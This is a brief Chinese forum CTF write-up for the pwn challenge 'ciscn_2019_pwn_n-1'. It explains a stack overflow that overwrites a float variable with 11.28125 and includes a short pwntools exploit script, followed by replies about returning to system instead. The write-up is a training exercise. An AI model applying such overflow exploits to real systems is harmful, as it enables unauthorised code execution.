ciscn_2019_pwn_n-1
题目链接：https://www.xuenixiang.com/ctfexercise-competition-416.htmlchecksec一下
IDA打开，发现如果满足的条件达成，就能get flag
找到栈溢出漏洞，输入可以覆盖到v2
写代码把11.28125在内存中的十六进制表示出来
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sl=lambda x:io.sendline(x)
io=remote('xxx',xxx)
payload='a'*(0x30-0x4)+p32(0x41348000)
sl(payload)
io.interactive()
这个我想要的方法。虽然计算v2看不懂。这题最简单的做法是直接ret到system就可以了。但是这个方法确实很赞。 xiaofei0115 发表于 2020-5-23 13:00
这个我想要的方法。虽然计算v2看不懂。这题最简单的做法是直接ret到system就可以了。但是这个方法确实很赞 ...
https://www.xuenixiang.com/thread-2261-1-1.html，可以看一下这篇帖子
页:
[1]